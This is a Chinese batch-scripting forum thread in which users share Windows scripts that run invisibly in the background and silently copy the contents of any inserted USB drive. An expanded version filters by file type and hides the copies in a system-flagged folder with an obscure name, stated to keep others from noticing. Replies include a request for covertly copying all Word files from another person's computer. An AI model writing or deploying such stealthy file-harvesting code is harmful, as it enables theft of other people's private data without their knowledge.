标题: [文件管理] 批处理自动复制U盘里的文件 [打印本页]
作者: fml520 时间: 2008-4-11 23:09 标题: 批处理自动复制U盘里的文件
本程序可以一直运行不占用很多的系统资源。当有U盘插入时会自动复制U盘的文件。大约3-5秒查找一次。
这段代码是别人的。
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)- @echo off
- if "%1" == "fmr520" goto begin
- mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)&&exit
- :fmr
- setlocal enabledelayedexpansion
- for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
- set var=%%i
- set drive=!var:~-2!
- fsutil fsinfo drivetype !drive!|find "可移动" && (
- xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s || ping 127.1 /n 1 >nul
- )
- )
- ping 171.1 /n 3 >nul
- goto fmr
复制代码
作者: fml520 时间: 2008-4-11 23:10
@echo off
start/min "" "复制U盘.bat"
嘿嘿!!!
作者: 1kingkong 时间: 2008-4-19 19:32
收下了 不错 呵呵 以后不用要老师的课件了
作者: lih570 时间: 2008-6-24 08:49
复制的内容保存去那了?
作者: 杨风 时间: 2008-6-26 11:10
复制的内容保存去那了?
是哦????
作者: batman 时间: 2008-6-26 11:24
原帖由 杨风 于 2008-6-26 11:10 发表
复制的内容保存去那了?
是哦????
在TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\U盘里面,程序中相关的语句是:
xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s
作者: 愚无尽 时间: 2008-8-10 12:32
这个批处理 好像改过名字的u盘就无效 对吧
作者: 愚无尽 时间: 2008-8-10 12:40
原帖由 愚无尽 于 2008-8-10 12:32 发表
这个批处理 好像改过名字的u盘就无效 对吧
经测试,改过名字的却是无效。
作者: LEGEND 时间: 2008-8-26 00:42
高手们尽快解决~
作者: kevinlovedream 时间: 2008-12-5 17:28
请教阁下一个问题: 假如别人的电脑上有我想要的文件(如Word文件),而我不知道文件的名字和存放位置。使用批处理,怎样才能使当我的优盘插入他的电脑时,能神不知鬼不觉地把他电脑上所有的Word文件(其中肯定由我所要的)复制到我优盘的指定文件夹里?
请赐教!
作者: 心愿怕人 时间: 2009-2-8 13:50 标题: 心愿
呵呵“学习了!再接再厉!可以考备目录文件吗
作者: kingerpk 时间: 2009-2-12 20:21
fsutil fsinfo drives^|find /v "" 是什么意思为什么要在|前面加^
我在cmd中试了一下说“drives|find”是无效参数
请大家帮忙解答!
谢谢!
大家
!
作者: Batcher 时间: 2009-2-12 20:37 标题: 回复 12楼 的帖子
for语句中的管道符为何要用尖号^进行转义?
http://bbs.bathome.net/viewthread.php?tid=1290&page=2#pid6306
作者: Batcher 时间: 2009-2-12 20:49 标题: 回复 7楼 的帖子
怎样用批处理获取U盘盘符?
http://bbs.bathome.net/thread-2683-1-1.html
作者: crartor 时间: 2010-3-3 00:06
这个是我根据版主的代码改写的,可以复制指定的文件类型,多线程复制 (有两个以上U盘的情况下比原代码复制较快。),变量 t 指定要复制的文件类型。变量 p 指定路径,为了不被别人发现,我将文件复制到一个特殊文件夹中 USB.. 代码如下:- @Echo off
- SetLocal EnableDelayedExpansion
- If "%1"=="D" goto D
- If "%1"=="" Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" F",0)(window.close)&&Exit
- Set t=doc xls ppt txt jpg bmp dwg rm rmvb avi flv swf wmv mpg mpeg mp4 3gp asf dat vob mp3 mov wma wav zip exe rar amv
- Set p=%~0\..\}
- :F
- set b=0
- For /F "delims=驱动器:\" %%d in ('Fsutil fsinfo drives^|more') do Fsutil fsinfo drivetype %%d:|Find "移"&&Ping 127.1&&Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" D %%d",0)(window.close)&&set /a b+=1
- :W
- Ping 127.1
- set a=-2
- For /F %%i in ('tasklist^|Find "cmd.exe"') do set /a a+=1
- If %a% leq %b% goto F
- Goto W
- :D
- If not exist "!p!\USB~1\" md "!p!\USB...\"&&attrib +s +h "!p!"
- If not exist "!p!\USB~1\%2\" md "!p!\USB~1\%2\"
- For %%f in (!t!) do For /f "delims=" %%g in ('dir/a-d/b/s %2:\*.%%f') do If not exist "!p!\USB~1\%2%%~pnxg" xcopy "%%g" "!p!\USB~1\%2%%~pg" /C/H/I/Y
复制代码
[ 本帖最后由 crartor 于 2010-4-4 23:21 编辑 ]
作者: justin10 时间: 2010-4-3 21:00
这个是不是还要自己运行一下?不能自动检测吗?
作者: crartor 时间: 2010-4-4 23:26
实在不好意思,存在一些小错误,已经在 15 楼中更正了。
这个只要双击就会自动在后台监视移动磁盘,一旦发现就会…… ,呵呵,文件保存在 本批处理所在文件夹的 } \ USB..\ 中
作者: shy0000 时间: 2010-4-6 10:18 标题: 回复 17楼 的帖子
有两个USB目录,显示字节为0
作者: crartor 时间: 2010-4-6 23:16 标题: 标题
呵呵,在15楼中我已说明了啊:为了防别人看见,我将文件保存到一个特殊文件夹中了“ USB. ”
如果不方便,可将代码中从标签 到结尾的所有 USB... 和 USB~1 都改成 USB 就行了!
作者: tools628 时间: 2011-5-18 01:33
请教一下,如果我只是想复制U盘指定目录下的指定类型文件的话,代码应该如何改写?谢谢。
作者: cggm 时间: 2011-5-20 15:39
高手,想不说都不行啊
作者: tangqingfu 时间: 2013-5-28 06:34
先收藏再学习,谢谢!
作者: xieyunwei 时间: 2014-11-9 02:19
我是来添加脚印的
欢迎光临 批处理之家 (http://bathome.net./) |
Powered by Discuz! 7.2 |